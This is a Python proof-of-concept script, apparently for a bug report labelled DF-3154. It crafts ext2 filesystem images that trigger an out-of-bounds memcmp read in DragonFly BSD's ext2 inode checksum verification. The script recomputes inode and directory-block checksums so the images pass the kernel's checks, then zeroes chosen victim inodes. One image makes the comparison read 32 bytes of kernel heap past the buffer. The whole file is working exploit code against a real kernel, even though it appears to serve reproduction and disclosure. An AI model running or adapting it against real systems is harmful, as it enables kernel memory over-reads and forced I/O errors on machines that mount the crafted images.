DF-3154 / craft_df3154.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | #!/usr/bin/env python3 """DF-3154 — ext2_ei_csum_verify() memcmp over-read past the inode slot. The bug (sys/vfs/ext2fs/ext2_csum.c:589): static const struct ext2fs_dinode ei_zero; // 160 bytes ... if (!memcmp(ei, &ei_zero, sizeof(struct ext2fs_dinode))) return (0); sizeof(struct ext2fs_dinode) == 160 (ext2_dinode.h ends at e2di_projid+4), but the slot is EXT2_INODE_SIZE(fs), mount-legal at 128 (ext2_vfsops.c:539-545). ext2_vget() passes ei = bp->b_data + 128*ino_to_fsbo(ino) of a 1024-byte bread() buffer (ext2_vfsops.c:1372), so for the LAST inode of a block the memcmp consumes 32 bytes PAST the bp->b_data allocation (kernel heap), and for any other inode the first 32 bytes of the NEXT inode's slot (cross-inode read). DFBSD quirk this craft must work around: ext2_vget() replaces i_gen with krandom() when the on-disk generation is 0 (ext2_vfsops.c:1420-1424), so we assign every inode a non-zero generation and recompute (a) every inode checksum and (b) the root directory block tail checksum, both keyed on (uuid-seed, ino, gen) exactly like the kernel. Outputs (bsize=1024, isize=128, ipb=8, metadata_csum, gens != 0): OUT.A_nonzero.ext2 : victim slot-idx-6 inode zeroed (csum mismatch by construction); NEXT inode's first 32B = 0xAA -> memcmp != 0 -> stat victim = EIO (deterministic) OUT.A_zero.ext2 : same but next inode's first 32B = 0x00 -> memcmp == 0 -> csum error suppressed (no EIO) OUT.B.ext2 : victim is LAST inode of its block, zeroed -> memcmp decision reads 32B of kernel heap past the buffer; outcome varies across mounts Usage: ./craft_df3154.py OUT_PREFIX """ import struct, subprocess, sys, os POLY = 0x82F63B78 _T = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ (POLY if c & 1 else 0) _T.append(c) def crc32c(crc, data): for b in data: crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc & 0xFFFFFFFF GEN = 0x13579BDF # non-zero generation for every inode def ei_csum(seed, ino, gen, r): """ext2_ei_csum() transcription for isize==128 (ext2_csum.c:517-559).""" c = crc32c(seed, struct.pack('<I', ino)) c = crc32c(c, struct.pack('<I', gen)) c = crc32c(c, bytes(r[0:124])) c = crc32c(c, b'\x00' * 2) # dummy csum_lo c = crc32c(c, bytes(r[126:128])) return c def main(prefix): src = '/tmp/opencode/df3154_src' subprocess.run(['rm', '-rf', src], check=False) os.makedirs(src) for i in range(40): open(os.path.join(src, 'f%02d' % i), 'w').close() img = prefix + '.base.ext2' subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-N', '64', '-O', 'metadata_csum,^64bit,^has_journal,^dir_index', '-d', src, img, '4096'], check=True) out = subprocess.run(['debugfs', '-R', 'ls -l /', img], capture_output=True, text=True).stdout ino_of = {} for line in out.splitlines(): parts = line.split() if len(parts) >= 8 and parts[0].isdigit(): ino_of[parts[-1]] = int(parts[0]) f = open(img, 'r+b') f.seek(1024); sb = bytearray(f.read(1024)) assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53 ipg = struct.unpack_from('<I', sb, 0x28)[0] bsize = 1024 << struct.unpack_from('<I', sb, 0x18)[0] icount = struct.unpack_from('<I', sb, 0x00)[0] seed = crc32c(0xFFFFFFFF, bytes(sb[0x68:0x78])) f.seek(2048); itblk = struct.unpack('<I', f.read(32)[8:12])[0] ipb = bsize // 128 assert bsize == 1024 and struct.unpack_from('<H', sb, 0x58)[0] == 128 def rd_blk(b): f.seek(b * bsize); return bytearray(f.read(bsize)) def wr_blk(b, d): f.seek(b * bsize); f.write(d) def inode_blk_off(ino): idx = (ino - 1) % ipg return itblk + idx // ipb, (idx % ipb) * 128 # ---- pass 1: set generation on every allocated inode, remember blocks touched = {} rootblk = None for ino in range(2, icount + 1): b, o = inode_blk_off(ino) blk = touched.get(b) if blk is None: blk = rd_blk(b); touched[b] = blk rec = blk[o:o + 128] if rec == b'\x00' * 128: continue # unallocated: leave zero struct.pack_into('<I', rec, 100, GEN) if ino == 2: rootblk = struct.unpack_from('<I', rec, 40)[0] blk[o:o + 128] = rec # ---- pass 2: recompute inode csums (they cover the gen field) for ino in range(2, icount + 1): b, o = inode_blk_off(ino) rec = touched[b][o:o + 128] if rec == b'\x00' * 128: continue c = ei_csum(seed, ino, GEN, rec) struct.pack_into('<H', rec, 124, c & 0xFFFF) touched[b][o:o + 128] = rec for b, blk in touched.items(): wr_blk(b, blk) # ---- recompute the ROOT dir block tail csum (keyed on gen now) rblk = rd_blk(rootblk) assert struct.unpack_from('<H', rblk, 1012 + 4)[0] == 12 # tail rec_len c = crc32c(seed, struct.pack('<I', 2)) c = crc32c(c, struct.pack('<I', GEN)) c = crc32c(c, bytes(rblk[:1012])) struct.pack_into('<I', rblk, 1012 + 8, c) wr_blk(rootblk, rblk) # ---- pick victims cand = sorted(v for v in ino_of.values() if v >= 12) name_of = {v: k for k, v in ino_of.items()} inoA = next(i for i in cand if i % 8 == 7 and (i + 1) in cand) inoN = inoA + 1 inoB = next(i for i in cand if i % 8 == 0 and i != inoN) assert ei_csum(seed, inoA, GEN, b'\x00' * 128) & 0xFFFF != 0 assert ei_csum(seed, inoB, GEN, b'\x00' * 128) & 0xFFFF != 0 print('victimA=%d (%s) slot=%d neighbor=%d (%s) victimB=%d (%s) ' 'rootblk=%d seed=0x%08x' % (inoA, name_of[inoA], (inoA - 1) % ipb, inoN, name_of.get(inoN, '?'), inoB, name_of[inoB], rootblk, seed)) def patch(ino, off_in_slot, data): b, o = inode_blk_off(ino) blk = rd_blk(b) blk[o + off_in_slot:o + off_in_slot + len(data)] = data wr_blk(b, blk) def finalize(out_img): f.flush(); os.fsync(f.fileno()) subprocess.run(['cp', img, out_img], check=True) patch(inoA, 0, b'\x00' * 128) # zero victim A (bad csum) patch(inoN, 0, b'\xaa' * 32) # neighbor head = 0xAA finalize(prefix + '.A_nonzero.ext2') patch(inoN, 0, b'\x00' * 32) # neighbor head = 0x00 finalize(prefix + '.A_zero.ext2') patch(inoB, 0, b'\x00' * 128) # zero victim B (last slot) finalize(prefix + '.B.ext2') f.close() with open(prefix + '.victims', 'w') as vf: vf.write('%s %d\n%s %d\n%s %d\n' % (name_of[inoA], inoA, name_of.get(inoN, '?'), inoN, name_of[inoB], inoB)) print('OK: wrote %s.{A_nonzero,A_zero,B}.ext2 + .victims' % prefix) if __name__ == '__main__': main(sys.argv[1]) |